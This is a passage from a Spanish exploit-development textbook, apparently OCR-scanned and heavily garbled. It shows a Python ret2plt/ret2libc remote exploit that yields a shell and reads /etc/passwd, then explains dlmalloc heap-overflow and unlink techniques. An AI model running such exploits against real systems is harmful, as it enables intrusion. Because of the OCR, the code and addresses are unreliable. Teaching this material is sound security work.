exestart  =  (eip  &  QxFFFFFQGQ)  -  0x2000 
print  lTexestart  -  "  +  str  (hex  (exestart)  ) 
write_at_plt  —  exestart  +  GxF3  0 

print  !Twrite_at_plt.  =  M  +  str  (hex  (write_at_plt )  ) 
accept_at_got  -  exestart  +  0x4184 

print  "accept at got  =  ,T  +  str  (hex  (accept at got)  ) 


En  la  ilustracion  se  muestran  los  valores  calculados  para  nuestro  ejemplo. 
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Imagen  07.14:  Calculo  de  direcciones  necesarias  para  cl  exploit. 


Con  estos  valores  po demos  realizar  mi  ataque  ret 2 pit  para  conseguir  la  direccion  de  la  Libc. 

del  getlibebase (password,  canary,  ebx,  write,  gotentry) : 
s  =  conexionfip,  port) 

s,  send  ("GET  /  HTTP  / 1 .  G  \  nAuthqr  i  zation  :  Basic  "  +  base  64  .b64encode  ( n  s  tackOS  : n  + 
password  +  T,aM*2Q24  -i-  canary  +  HAn*l2  +  ebx  -I-  "A,T*12  +  struct . pack  {"  <LTI ,  write)  + 
" AAAA"  +■  H \x0l\x0 0 \x00 \x00TT  +  struct .  pack  ( T,<L!1 ,  gotentry)  +  " \x0 4 \x00\x00 \xGQ "  )  4- 

" \n\nn ) 

data  =  s.recv(1024) 

libebase  =  struct  *  unpack ("CL”,  data)  [0]  -  0xd34eG 
s . close ( ) 
return  libebase 


Tenga  en  cuema,  y  esto  es  muy  imponante,  que  jamas  hardcodeamos  direcciones  completas,  sino  tan 
solo  offsets  o  desplazamientos  que  siempre  permaneceran  constantes  en  cualquier  lugar  donde  la 
aplieacion  vulnerable  se  encuentre  mstalada. 

La  solucion  se  encuentra  cada  vez  mas  cerca.  Imaginemos  que  el  valor  obtenido  a  partir  de 
getlibebase  o  es  OxSOdOQO.  Entonces  la  direccion  de  la  funcion  system u  se  encontrara  en  el  offset 
0x3cb20  a  partir  de  la  base  de  la  Libc. 

system at libc  =  libebase  +  0x3cb2G 


For  ultimo,  tal  y  como  explicamos  en  el  capitulo  4  de  este  libro,  necesitamos  la  direccion  de  una  cadena 
/bin/sh  o  mas  simplemente  sh  que  pasaremos  como  argumenlo  a  system o ,  En  la  siguiente  imagen 
descubrira  como  hemos  logrado  nuestro  objetivo  buscando  con  GDB  los  valores  hexadecimales  de 
dicha  cadena  a  partir  de  la  direccion  base  del  binario. 


(gdb)  find  /h  0x3230003  0x323000,  0x6873 
0x32S6bG 
1  pattern  found. 

(gdb)  X/S  0x328000  +  ox&bo 
0x3286bG:  "sh" 


Imagen  07.15:  Buscando  una  cadena  “sh7*  cn  la  memoria  del  binario. 


Tenemos  ei  ultimo  desplazamiento  requerido: 

dir  sh  str  =  exes tart  +  0x6b0 


Realizaremos  final mente  el  ataque  ret 2  libc  mencionado.  Una  vez  la  shell  sea  ejecutada,  usted  puede 
enviar  comandos  arbitrarios  a  I  servidor  y  obtener  la  sail  da  como  respuesta. 

s  =  conexion (ip,  port) 

s.  send  ("GET  /  HTTP/1 ■ G\nAuthorization :  Basic  "  +  .b64  encode  ( ,TstackG  6 : ,T  + 

password  +  T,aM*2024  +  canary  +  ,TA"*12  t  ebx  +  "AT,*12  +  struct .pack ( "CL"  , 

system  at  libc)  +  r' AAAA"  +  struct , pack  { ,T<LTI ,  dir  sh  str))  +  ”\n\n'T) 
s  .  send  ( "  id\n" ) 
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data  =  s , recv (1024 ) 
print  "ID  =  "  +  data 

5. send ("cat  /etc/passwd  grep  home\nM  ) 
data  =  s  .recv  (10-24) 
print  "Users  =  ,T  +  data 
s , close  ( ) 


El  resultado  en  la  siguiente  ilustracion. 


blackngehjfebbc  ~ 

blackr>gel@bbc  python  ex04,py 
exestart  -  0x3280061 
wrtte_at_plt  ~  0x32Sf30L 
accept_at_tpt  -  0x3^cl84L 
libcbase  -  0x50dO00 

ID  =  uld=26004  gid=26004 ‘groiips=20#O4 


Users  =  systogrx: lei:  103;  ; /hone/syslog: /btr/faflse 
fustorux:  1000 : 1000: fusion, , ,  :/home/fuston:yblrv/bash 

blackngel$bbc:~$  | 


fniifigen  07.16:  Ejecucion  de  comandos  arbitrarios. 


Los  problemas  mas  graves  que  presen  La  este  pequeho  servidor  son  el  no  haber  establecido  un  control 
adecuado  sobre  los  datos  de  entrada  propore  ion  ad  os  por  el  usuario,  y  el  no  baber  hecho  uso  de  la 
llamada  a  execve  ()  con  la  cual  el  espacio  de  direeciones  de  los  nuevos  procesos  creados  para  cada 
peticion  habria  sido  completamente  aleatorio.  Una  alternativa  a  este  problema  fue  presentada  en  la 
section  7.3  de  este  mismo  capitulo. 


Otra  pregunta  obvia  es,  <,que  puede  hacer  una  solution  como  Libsafe  contra  una  copia  de  datos  a  buffer 
mediante  un  bucle  for?  La  respuesta  es  clara  y  no  deseamos  cuestionar  la  inteligencia  del  lector.  La 
importancia  del  anal i sis  y  detection  de  bucles  en  binarios  ya  ha  sido  remarcada  en  articulos  como 
“Loop  Detection”  publicado  por  Peter  Silberman  en  la  revista  tecnica  Uninformed. 


Tenga  en  cuenta  tambien  que  la  aplicacion  no  ha  delimitado  en  forma  alguna  la  clase  de  valores 
entregados  en  la  peticion,  gracias  a  esto  hemos  podido  introducir  bytes  null  (oxoo),  que  nos  han 
pennitido  realizar  aiaques  de  fuerza  bruta  sobre  el  canary  y  los  registros  EBX  y  EIP  aim aeen ados  en 
el  stack. 


7.11.  Dilucidacion 

El  contenido  mostrado  en  el  pre sente  capitulo  no  constituye  un  conjunto  de  ejemplos  ficticios,  sino 
que  representa  una  imagen  completamente  veridica  de  los  problemas  que  presentan  las  aplicaciones 
modemas  y  los  sisternas  operatives  que  se  encuentran  detras  administrando  sus  recursos. 

Hemos  presentada  una  por  una  cada  protection  existenle,  asi  coma  sus  earacteristicas  y  sus 
debilidades,  procurando  re  fie  jar  en  todo  momenta  el  estado  del  arte  en  la  materia  y  los  tiltimos  avanees 
y  conocimientos  que  los  atacantes  han  adquirido  para  renovar  su  arsenal  de  hahilidades. 
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Para  culminar  elegantemente  este  capitulo,  hem  os  desarrollado  un  exploit  como  solucion  a  un  reto 
propuesto  que  ha  si  do  eapaz  de  sortear  no  una,  sino  todas  las  protecciones  que  como  capas  externas  le 
habian  sido  agregadas  para  evitar  a  toda  costa  un  ataque  malic ioso. 

La  morale] a  es  simple,  la  unica  solucion  que  realmente  funciona  es  encontrar  un  parche  adecuado  para 
cada  vulnerabilidad  explotable.  Escriba  codigo  robusto  y  utilice  los  mecanismos  de  protection  solo 
como  elementos  de  seguridad  adt  donates. 
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■  Four  different  tricks  to  bypass  StaekShield  and  StackGuard  protection  en 
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*  How  to  break  out  of  a  chrootQ  jail  en 

h  tip  ://www,  hpfh.  net/s  im  es/comp  uting/chro  o  f- break  .hi  ml 

«  A  Dynamic  Mechanism  for  Recovering  from  Buffer  Gverflowr  Attacks  en 
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»  Scraps  of  notes  on  remote  stack  overflow  exploitation  en 
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Capitulo  VIII 

Heap  Overflows:  Exploits  basicos 


En  la  piramide  de  las  vulnerabilidades  de  software  en  e spado  de  usuario,  los  heap  overflows  copan  la 
cumbre.  Esto  implica  que  el  conocimiento  necesario  para  explotar  exitosamente  un  desbordamiento 
de  la  zona  del  monticulo  requicre  un  conocimiento  base  de  las  tecnicas  que  le  precedcn. 

El  heap  es  una  zona  de  memoria  dinamica  gestionada  por  una  librena  del  sistema  cuya  mision  es 
proporcionar  al  programador  espacios  contiguos  de  memoria  con  un  tamano  arbitrario.  Cuando  uno 
de  estos  espacios  es  susceptible  de  ser  desbordado,  los  metadatas  de  un  espacio  adyacente  pueden  scr 
modificados,  aherando  bien  el  comportamiento  del  programa  o  bien  redirigiendo  el  flujo  de  ejeeucion 
hacia  una  zona  eontrolada  por  el  atacante. 

Los  metodos  que  se  detallaran  a  continuacion  se  basan  en  las  estructuras  de  datos  establecidas  por  la 
implementation  particular  de  la  librena  GNU  libc,  tambien  conocida  como  Doug  Lea's  dlmalloc. 


8.1.  Un  poco  de  Historia 

Uno  los  primer  os  articulos,  conocidos  al  menos  publicamente,  que  trato  de  abarcar  los  temas 
eoncemientes  a  heap  overflows  se  titulaba  “Vudo  malloc  tricks”  y  fue  publicado  por  MaXX  en  la 
famosa  revista  Phrack,  alia  por  ell  1  de  agosto  del  ano  200 1 .  En  ese  mismo  nurnero  podemos  encontrar 
otro  fantastico  articulo  titulado  “Once  upon  a  free()”  cuyo  autor  lodavia  permanece  anonimo  y  que 
describid  la  implementacion  de  la  librena  malloc  en  el  sistema  operative  System  V. 

Aunque  durante  este  capitulo  nos  adentraremos  en  las  caracteristicas  mas  inte  re  sanies  de  la 
implementacion  malloc  de  Doug  Lea,  disponible  en  los  sistemas  GNU/Linux,  para  un  conocimiento 
mas  prof undo  recomendamos  fervientemente  la  lectura  del  primero  de  los  papers  meneionados,  alii  se 
desmenuzan  con  gran  lujo  de  detalle  todos  los  algoritmos  de  las  fund  ones  malloc  (),  caiiocO, 
reaiioc  ()  y  free  o .  Otro  excel ente  estudio  sobre  problemas  de  corruption  del  heap  fue  “Advanced 
Doug  Lea's  malloc  exploits”,  que  salio  a  la  luz  el  dia  13  de  agosto  del  2003  de  la  mano  de  jp.  Se  trata 
de  un  desarrollo  mueho  mas  elaborado  de  las  tecnicas  anteriormente  descritas  por  MaXX.  Por 
supuesto,  es  otra  de  nuestras  leeturas  recomen dadas. 

Para  terminar  con  el  listado  de  pub  head  ones  didactic  as  sobre  esta  clase  de  vulnerabilidades, 
mencionaremos  el  articulo  “Exploiting  the  Wilderness”,  publicado  en  la  lista  hugtraq  por  un 
misterioso  persona] e  apodado  Phantasmal  Phantasmagoria.  El  wilderness  es  un  elemento  especial  de 
la  memoria  dinamica,  que  adernas  de  ser  el  fragmento  mas  alto,  posee  la  propiedad  de  ser  el  imico 
trozo  que  puede  ampliarse  si  no  se  dispone  de  suficiente  espacio  en  la  zona  del  monticulo,  lo  que  se 
produce  con  las  llamadas  al  sistema  brk  ( )  y  sbrk ( ) . 
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Pero  todavia  podemos  descubrir  algo  mas  sobre  el  origen  de  los  heap  overflow.  De  hedio,  este  libro 
cometeria  un  grave  error  si  no  mencionase  a  Alexander  Peslyak,  mas  conoeido  eon  el  sobrenombre  de 
Solar  Designer.  Sc  Irata  tie  un  profesional  de  la  seguridad  informatica  ruso  ampliamente  reconocido 
en  la  eomunidad  hacker  por  haber  sido  pionero  en  la  publication  de  rtumerosas  tecnicas  de  exploiting, 
por  ser  el  fundador  del  proyecto  Open  Wall  y  autor  de  la  omni  presente  herramienta  de  ruptura  de 
contraseflas  John  The  Ripper.  En  lo  refe  rente  a  este  capilulo,  es  el  autor  de  la  prim  era  generalizacidn 
public  a  sobre  explotacion  de  heap  overflows,  a  I  haber  pub  lie  ado  un  post  sob  re  una  vulnerabilidad 
desconocida  en  los  navegadores  de  Netscape  el  25  de  julio  del  ano  2000:  JPEG  COM  Marker 
Pro  cess  hig  Vu  In  erah  Hi  tys 

8.1.1.  <,Que  es  un  Heap  Overflow? 

Formulemos  una  pregunta  algo  mas  intcresante:  ^,que  tienen  de  especial  los  heap  overflow  con  respeeto 
a  otra  clasc  de  vulnerabilidades?  La  respuesta  es  que  son  especificos  de  la  plataforma,  del  sistema 
operative  y  de  la  libreria  de  gestion  de  memoria  dinamica.  Esto  implica  muchos  aspectos  a  tener  en 
cuenta,  y  es  que  aunque  los  heap  overflow  se  pueden  producir  en  una  inllnidad  de  sistemas  operatives 
eomo  Linux,  FreeBSD,  Solaris,  Mac  OS  X,  Windows  u  otros,  en  todos  ellos  su  metodo  de  explotacion 
difiere. 

El  heap  es  un  espacio  destinado  al  almacenamiento  de  datos  que,  al  contrario  de  lo  que  ocurria  con  el 
stack,  crece  desde  las  posi clones  mas  bajas  de  la  memoria  hacia  las  mas  altas.  Esquematicamente,  la 
memoria  de  un  proceso  se  vena  eomo  en  la  siguiente  l  lustration, 


onffffffffj 

Marcos  de  ftKidones 

hacia  Las  dircccrones  ba^as 

A  Crece  hacia  ias  direct lanes 

Hmp 

ess 

Dates  no 

Data 

Dates  inicializados 

DKOOOWap1 

r 

lttf 

C6d i  gs?  del  program 

Imagen  08.01:  Estmctura  general  de  la  memoria  de  un  binario. 


Todas  las  tecnicas  de  ataque  descritas  en  los  capltulos  anteriores  se  ban  aprovechado  del  hecho  de  que 
cuando  se  produce  una  llamada  a  una  fund  on,  el  registro  EIP  es  guardado  en  la  pi  la,  de  modo  que  si 
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no  se  controla  correctamente  la  entrada  de  datos  en  un  buffer  situado  en  la  misma,  esta  direccion  de 
retomo  puede  ser  desbordada  y  controlada  con  el  objetivo  de  redirigir  el  flujo  del  programa  a  un  codigo 
arbitrario. 

Eri  el  heap  no  se  almacena  ningun  registro  de  instruction  o  contador  de  programa,  y  por  lo  tanto  un 
nuevo  estudio  es  requerido  en  busca  de  nuevas  debilidades  y  metodos  que  puedan  sacar  provecho  de 
las  mismas.  Resumiendo:  un  heap  overflow  se  produce  cuando  un  buffer  que  ha  sido  reservado 
mediants  las  func  lories  de  libreria  maiiec  { ) ,  caiioc  ( ) ,  o  realloc  n  puede  ser  desbordado  eon  datos 
suministrados  de  forma  arbitraria.  Como  consecuencia,  ciertas  esiructuras  de  datos  que  a  conti nuac ion 
detallaremos  pueden  ser  alteradas  y  engahar  al  sistema  para  lograr  el  control  total  sobre  la  aplicacion. 

8.1.2,  Convenciones 

Durante  el  transcurso  de  los  siguientes  capitulos  utilizaremos  ciertos  terminos  con  los  que  el  lector  se 
debera  ir  familiarizando,  Por  ejemplo,  a  los  buffers  reservados  en  el  espacio  heap  de  la  memoria  los 
llamaremos  “trozos”  y  a  las  estructuras  de  datos  que  los  preceden  las  llamaremos  “cabeceras”. 

Todos  estos  eonceptos  se  iran  asociando  facilmente  a  medida  que  profundi cemos  en  nuestro  estudio. 

8.2.  Algoritmo  Malloc  de  Doug  Lea 

Toda  libreria  que  tenga  eomo  mision  encargarse  de  la  gestion  de  memoria  dinamica,  debe  tener  eomo 
principal  objetivo  el  proporckmar  una  interfaz  de  llamadas  al  usuario  para  dicha  tarea.  Mostramos  en 
la  siguiente  tab  I  a  las  principales  funciones  con  las  que  el  programador  interactua  durante  el  desarrollo 
de  sus  aplicaciones: 


Fun  cion 

Description 

malice { ) 

Reserva  espacio  en  el  heap. 

calloc { ) 

Lguai  que  malloc  ( )  pero  borrado  con  ceros. 

realloc ( ) 

Reasigna  un  trozo  previamente  asignado. 

free  { ) 

Libera  un  trozo  previamente  reservado. 

Tabla  08.01:  Funciones  de  reserva  y  liberacion  dc  memoria 


Dlmalloc,  eomo  tambien  es  conocida  la  libreria  Malloc  de  Doug  Lea,  actualmente  ptmalloc,  al  igual 
que  otros  asignadores  de  memoria,  cumple  con  ciertos  propositos  de  eficiencia; 

1 .  Max  i  m  i  zar  port  abi  1  i  d  ad . 

2.  Minimizar  el  espacio. 

3.  Maximizar  afinamiento. 

4 .  M  ax  i m  i  zar  lo  cal  i  zac  i  on . 

5 .  Maxim  i  zar  detecc  ion  de  e  rr  or  es . 
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Nota 


Actualmente  la  implementation  de  gestion  de  memoria  en  sistemas  GNU/Linux  se 
conoce  como  Ptmalloc.  Se  trata  de  una  version  ampliada  de  dlmalloc  y  mantenida  por 
Wolfram  Gloger.  Su  final  idad  es  ad  apt  arse  a  toda  clase  de  aplicaciones  modemas  y 
permitir  que  estas  puedan  trabajar  de  un  modo  concurrente.  Ptrnalloc  puede  gestionar 
varios  heaps  al  mismo  tiempo  facilitando  que  distintos  hi  las  de  ejecucion  puedan 
realizar  solicitudes  de  memoria  independientes,  todo  ello  sin  dcteriorar  e!  rendimiento 
global  o  performance.  Por  conversion,  la  mayoria  de  las  veces  nos  referiremos  al 
algor itmo  de  gestion  simplemente  como  dlmalloc,  asumiendo  que  las  tecnicas 
detalladas  se  aplican  a  ambas  versiones. 


8.2.1.  Organization  del  Heap 

La  informaeion  de  control  de  los  trozos  asignados  se  almacena  de  fonna  coniigua  a  la  memoria 
reservada  dentro  del  heap.  Es  esta  informaeion  de  control  a  la  que  Uarnamos  cabecera  o  incluso  algunas 
veces  tags  lvmite  (etiquetas  en  los  extremes). 

De  este  modo,  dos  Uamadas  consecutivas  a  mailoc  o  pueden  construir  en  el  heap  una  estructura  como 
la  siguiente: 


(obfliara 

Trozo  i 

Cah«K'c 

rtsaoils  trozo  2 

Imogen  08.02:  F.siructura  del  monticulo:  eabeceras  y  trozos. 


Deducimos  pues  que  un  desbordamienlo  en  el  primero  de  los  trozos  de  memoria  asignados  nos  ofrece 
la  posibilidad  de  corromper  la  cabecera  del  siguiente  trozo.  Tambien,  como  no,  seria  viable  modificar 
el  contenido  de  la  memoria  del  segundo  buffer  asignado,  pero  a  no  ser  que  los  datos  que  contenga  sean 
de  caracter  fmaneiero,  por  lo  general  no  resulta  extremadamente  util  a  un  atacante. 

La  experiencia  nos  dicta  que  no  solamente  podemos  sobrescribir  eabeceras  poster! ores,  sino  tambien 
las  que  preceden  al  trozo  asignado.  A  esta  tecnica  la  denommamos  underflow,  Normalmente  es 
provocado  por  un  dcsbordamiento  de  enteros  que  da  como  resultado  un  indice  negativo  no  esperado  y 
que  es  utilizado  por  el  puntero  reservado. 

Los  trozos  disponibles  en  el  heap  pueden  ser  tanto  asignados  como  libres.  Estos  ultimos  se  almacenan 
poster iormente  en  unas  listas  enlazadas  conocidas  como  bim>  acorde  a  su  tamaho  y  con  el  objetivo  de 
economizar  tiempo  y  espacio. 

A  modo  de  recapitulation  podemos  establecer  algunas  bases: 

-  Los  trozos  libres  en  el  heap  se  mantienen  bajo  una  lista  doblemente  entazada  que  puede  ser 
recorrida  en  ambas  direcc  tones  (bin), 

Existe  una  regia  basica  en  la  gestion  del  heap:  nunca  pueden  exist ir  dos  trozos  libres 
adyacentes*  Si  esto  oeurre,  se  fusionan  con  el  fm  de  evitar  trozos  demasiado  pequefios  sin  uso 
real  (se  minimiza  la  fragmentation). 
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Debido  a  esto,  las  eabeceras  de  un  Irozo  asignado  y  la  de  uno  libre  difieren.  En  el  trozo  libre  la  cabecera 
eontiene  dos  punteros  que  apuntan  tanto  al  siguiente  trozo  libre  como  al  anterior,  Como  an  trozo 
asignado  no  precisa  de  diehos  punteros,  utiliza  este  espacio  para  almacenar  los  datos  del  usuario,  con 
lo  que  se  evitan  perdidas  de  memoria  inneeesarias*  Veamos  graficamente  ambos  trozos. 


El  codigo  fuente  de  GNU  libc  define  tanto  un  trozo  libre  como  uno  asignado  de  la  misma  forma: 

struct  malloc_chunk  { 

INTERNAL_SIZE  T  prev_size; 

INTERN AL_S I ZE_T  size; 
struct  malloc_chunk  *  fd; 
struct  mulloc_chunX  *  bk; 

>;  


Lo  cierto  es  que  la  definicion  actual  de  las  versiones  mas  modemas  de  malloc  definen  dos  elementos 
mas:  fd  nextsire  y  3?fc_nextaize.  Su  uso  se  destina  a  la  gestion  eficiente  de  bloques  largos,  pero 
podemos  excluirlos  del  analisis  al  carecer  de  relevancia  en  los  ataques  presentados.  En  la  practiea, 
nuestra  percepcion  sobre  los  mismos  sera  la  que  hemos  mostrado  en  la  ilustracion.  Nos  eoncentraremos 
ahora  en  la  linalidad  de  cada  uno  de  los  eampos  de  la  cabecera. 
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prevj&ize 

Especifica  el  tamaflo  del  trozo  anterior  (en  bytes)  siempre  que  el  raismo  se  encuentre  libre.  Si 
recordamos  la  regia  de  que  no  pueden  existir  dos  trozos  libres  contiguos,  deducimos  que  este  campo 
solo  se  utiliza  en  trozos  asignados.  De  hecho,  dlmalloe  permite  al  trozo  previo  asignado  utilizar  este 
espacio  para  almacenar  parte  de  sus  datos.  Observ  e  la  ilustracion. 


Trozo  A&ignodo 

T™o  libre 

prew_size 

size 

datos  piev^size 

size  J  *fd 

1  ,bk  1 

Monvorio  r«ai  del  irazo 

Imagen  081)4:  Composicion  de  trozos  libres  y  asignados. 

size 

Especifica  el  tamaflo  (en  bytes)  del  propio  trozo,  ya  sea  libre  o  asignado.  Este  campo  resulta  ser  el  mas 
especial  de  todos  ya  que  sus  3  bits  menus  significativos  conti enen  informacion  de  control  extra. 


Bit 

Funcion 

PREV_INUSE  0x1 

Indica  si  el  trozo  anterior  esta  en  uso. 

IS  MMAFFED  0x2 

Indiea  si  el  trozo  ha  sido  asignado  mediante  mmap  o . 

NOW  MAIN  ARENA  0x4 

Indica  si  el  trozo  pertenece  al  arena  prirnario. 

Tabla  081)2:  Bits  de  control. 


Debido  a  esta  parti cularidad  del  campo  size,  no  puede  existir  un  trozo  con  un  tamano  menor  que  8 
bytes,  ooooiooo  -  8.  Dlmalloe  extrae  el  tamano  real  del  trozo  con  las  siguientes  macros: 

# define  SIZE_BITS  {  PREV  INUSE  J  IS_MMAPPED  |  N 0 N_H A I NARENA  ) 

# define  chunksize (  p  ) (  {p)->size  &  - (SIZE^BITS)  ) 

fd 

Puntero  al  siguiente  trozo  libre  en  la  Hsta  doblemente  enlazada.  En  un  trozo  asignado  eonstituye  el 
principio  de  la  zona  de  datos. 

bk 

Puntero  al  anterior  trozo  libre  en  la  lista  doblemente  enlazada.  En  un  trozo  asignado  eonstituye  una 
parte  de  la  zona  de  datos. 

8.2.2.  Algoritmo  free() 

free  { )  es  la  funcion  que  se  presenta  de  caia  al  usuario  con  el  objetivo  de  liberar  la  memoria  de  un 
puntero  que  ha  sido  previamente  resen  ada.  Como  ya  se  ha  mencionado,  los  trozos  libres  se  almacenan 
por  tamaflos  en  unas  estructuras  Hamadas  bins.  Un  bin  esta  formado  simplemente  por  dos  punteros 
que  apuntan  hacia  delante  y  hack  atrds  para  crear  una  lista  circular  doblemente  enlazada  como  la  que 
puede  apreciar  en  el  grafico. 


Cap! tula  VIII.  Heap  Overflows:  Exploits  has  leas 


217 


irnagcn  08.05:  Almacenairiierito  y  gestion  dc  trozos  libres. 


pruiero 


La  macro  front  link  t )  es  la  encargada  de  insertaf  el  trozo  reciert  liberado  en  su  correspondiente  bin. 
La  macro  es  ejecutada  direetamente  por  free  o  si  el  trozo  a  liberar  es  contiguo  tanto  per  delante  como 
por  detras  a  un  trozo  asignado. 

En  cualquier  otro  caso  se  puede  dar  una  de  las  siguientes  situaciones; 

-  HI  trozo  superior  se  trata  del  fragmento  mas  alto  o  wilderness  en  cuyo  caso  el  trozo  a  liberar 
es  fusion  ado  eon  este  con  el  union  e  fee  to  de  que  el  wilderness  erece  como  si  lo  hubieran 
expandido  llamando  a  brk  ( } . 

El  trozo  contiguo,  ya  sea  el  que  le  precede  o  el  que  le  sigue  se  encuentra  en  estado  libre,  En 
este  caso,  lo  primero  que  free  ( )  hace  es  comprobar  si  se  trata  de  la  parte  de  un  trozo 
recientemente  dividido  (un  caso  especial  al  que  no  prestaremos  mas  atencion  por  el  memento). 
En  cualquier  otro  caso  simplemente  se  fusionan  los  dos  trozos  libres  adyacentes  mediante  la 
macro  unlink  ( )  y  a  continuacion  se  pasa  este  nuevo  trozo  mas  grande  a  front  link  { )  para  que 
lo  inserte  en  el  bin  adecuado. 

Desde  el  punto  de  vista  de  un  atacante,  la  ultima  de  las  situaciones  es  la  que  nos  permite  corromper 
las  estructuras  de  dates  y  ejeeutar  codigo  arbitrario. 


8.3.  Tecnica  Unlink 

A  continuacion  detallaremos  minuciosamente  la  tecnica  de  explotacidn  de  binaries  conocida  por  el 
nombre  Unlink.  Es,  sin  duda  alguna,  la  forma  dc  ataque  mas  basica  y  esencial  en  un  sistema  operative 
tipo  Linux. 


Nota 


|  La  implementaeion  malloc  de  los  sistemas  operativos  de  Microsoft  ha  sido  atacada  en  el 
pasado  mediante  la  tecnica  Unlink.  Todo  lo  aprendido  en  este  capftulo  ha  sido  aplicable  en 
ambas  plataformas  con  ligeros  matices. 
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8.3.1.  Teoria 

Sabemos  que  el  trozo  asignado  y  pendiente  de  liberar  no  se  encuentra  ubicado  en  ningun  bin  concrete 
en  el  momento  de  llamar  a  free  {) .  En  eambio,  el  trozo  contiguo  libre,  ya  sea  el  que  le  precede  o  el 
que  le  sigue,  si  que  esta  insertado  en  su  bin  y  enbriendo  un  espacio  en  la  lista  circular  que  eorresponde 
a  su  tarnano.  Por  ende,  antes  de  unir  estos  dos  trozos  y  fusionarlos  de  forma  que  compongan  uno  mas 
grande,  free  ( )  llama  a  la  macro  unlink  { )  para  desenlazarlo.  Mostramos  el  codigo  a  contmuacion: 


#def ine 

unlink  (  P,  BK,  FD  )  { 

\ 

[1] 

BK  -  P~>bk; 

\ 

[2] 

FD  -  F->fd; 

\ 

[3] 

FD->bk  =  BK; 

\ 

[4] 

) 

BK->fd  =  FD; 

\ 

p  es  el  trozo  anterior  o  posterior  al  que  se  desea  liberar  y  es  el  que  se  precede  a  desenlazar  de  la  lista 
circular.  ^Como?  Veamoslo  graficamente. 


Antes  de  wttink|) 


Despues  de  unlmk() 


lmagen  08.06:  Proceso  de  desenlace  de  trozos  en  la  macro  unlinkQ, 


Esto  es  exactamente  lo  que  hacen  los  cuatro  pasos  de  la  macro  unlink  0,  el  bin  del  que  ha  sido 
separado  el  trozo  continua  unido  en  todos  sus  extremos,  pero  uno  de  sus  elementos  ha  sido  sustraido 
para  poder  unirse  al  trozo  que  va  a  ser  liber  ado  mediante  free  o .  Si  bien  el  proceso  pareee  bastante 
eficiente,  el  hecho  de  que  la  infonnacion  de  control  (la  cabeeera)  se  almacene  de  forma  contigua  a  los 
trozos  de  memoria  donde  sc  escriben  los  datos  puede  resultar  realmente  desasfroso  y  convertirse  en 
una  grave  vulnerable  dad. 
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Haremos  ahora  an  ejercicio  de  suposiciones  y  seremos  eonscientes  de  cual  es  cl  objetivo  final  de  la 
tecnica  Unlink.  Imagineraos  por  un  momento  que  somos  eapaces  de  manipulm  las  punteros  fd  y  bk 
de  ese  trozo  contiguo  p  mediante  un  desbordamiento  de  buffer.  Todavia  mas,  ilustremos  de  forma 
matematica  que  sigmficado  tiene  algo  coma  P“>bk  o  p->fd.  Obtendremos  las  siguientes  equivaiencias: 


pt.r->prev  size  = 

{*ptr) .prev  size 

*  *ptr  +  0 

ptr->size 

(*ptr) . size 

=  *ptr  +  4 

ptr->fd  = 

(*ptr) . fd 

=  *ptr  +  8 

pt r->bk  = 

( *ptr ) .bk 

—  *ptr  +  12 

Teniendo  esto  en  cuenta,  si  conseguimos  modificar  p->bk  con  la  direccion  de  un  shellcode,  y  p->fd 
con  la  direccion  de  una  emrada  en  la  GOT  o  DTORS  menos  12,  lo  que  ocurrira  dentro  de  la  macro 

unlink  ()  sera  lo  siguiente: 

t 1 ]  BK  =  P->bk  =  sshellcode 

[2]  FD  =  P->fd  =  & dtor_end -12 

[3]  FD->bk  =  BK  ->  *{{&. _ dtor_end_ _  -  12)  +  12)  -  ^shellcode 

Resultando  en  una  ejecucion  de  eodigo  arbitrario  cuando  la  aplicacion  vulnerable  final  ice.  Puede  verse 
sin  mayores  distracciones  que  todo  consiste  en  mi  juego  de  sobrescritura  de  punteros  y  direcciones, 
Pero  todavia  queda  un  pequeno  problema  por  solventar,  un  analisis  exhaustive  nos  indica  que  no 
debemos  olvidar  en  ningun  momento  el  peligro  de  la  cuarta  semencia  de  la  macro  unlink  { ) : 

[A]  BK->fd  =  FD  ->  *{&shellcode  +  8)  -  (& _ jdtor_end _  -  12) 

Esto  provocara  la  sobrescritura  de  cuatro  bytes  denlro  del  shellcode  a  pariir  del  octavo  byte  del  mismo. 
Con  el  fm  de  evadir  esta  limitacion,  la  primera  instruccion  del  shellcode  debe  estar  constituida  por  un 
sallo  jmp  que  pase  por  eneima  del  contenido  alterado  y  caiga  dentro  del  payload  real. 


Imagen  08.07:  InyecciOn  dc  una  instruccion  j nip. 


Ahora  abandonemos  por  un  momento  las  suposiciones  y  veamos  en  la  siguiente  seccibn  como  lograr 
explotar  un  programa  vulnerable. 

8.3.2-  Componentes  de  un  Exploit 

Eehe  un  vistazo  al  error  evidente  que  se  produce  en  el  siguiente  listado  de  eodigo. 


# include  <stdlib.h> 

^include  <string.h> 

int  mainfint  arge,  char  *argv[] ) 
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char  *bufferl,  *buffer2; 
buffer!  =  (char  *J  malloc(512); 
bu£fer2  =  (char  *)  malice  (512 ) ? 
if  (  arge  >  I  ) 

strepy (buff erl,  argvfl]); 
free (buf  ferl)  ; 
free (buffer2)  ; 
return  0; 


Observamos  claramente  el  terrible  fallo  de  una  fimeion  strepy  o  siendo  ejecutada  sin  comprobar  el 
tamafio  de  la  entrada  de  datos  que  van  a  ser  guardados  en  el  primero  de  los  buffers  declarados.  For  lo 
tanto,  si  un  agente  malicioso  introduce  demasiados  elementos  en  el  mis  mo,  corrompera  la  cabeeera 
del  segundo  trozo  y  su  espacio  de  memoria  asignado. 

En  principle,  esto  nos  permite  modi fi ear  los  punteros  fd  y  bk  del  segundo  trozo,  consiguiendo  asi 
ejecutar  un  shellcode  cuando  se  produzca  la  primera  llamada  a  free  o .  Pero  debemos  recordar  que 
e$te  segundo  trozo  se  encuentra  asignado  y  por  lo  tanto  free  ( )  no  intentara  desen lazarlo.  Por  este 
motivo  la  primera  fase  de  nuestro  ataque  intentara  enganar  a  dlmalloe  haciendole  creer  que  el  trozo 
comiguo  si  que  esta  libre.  Para  ello  debemos  tener  en  cuenta  dos  principios: 

-  ^Como  sabe  dlmalloe  si  un  trozo  esta  libre?  Consultando  el  bit  me  nos  significative 
{ pre v_ i ns u s e)  del  campo  size  del  siguienie  trozo. 

^Como  sabe  dlmalloe  donde  esta  el  siguiente  trozo?  Sumandole  a  la  direceion  del  trozo 
actual  el  valor  de  su  propio  campo  size. 

Para  saber  si  el  segundo  trozo  (buf  fer2)  se  encuentra  libre,  dlmalloe  consultara  al  trozo  que  le  sigue, 
que  en  nuestro  easo  particular  se  trala  del  trozo  mas  alto  o  wilderness .  El  campo  size  de  este  ultimo 
trozo  tendra  el  bit  prev  inuse  activado,  indicando  que  el  segundo  trozo  esta  en  uso  y  por  lo  tanto 
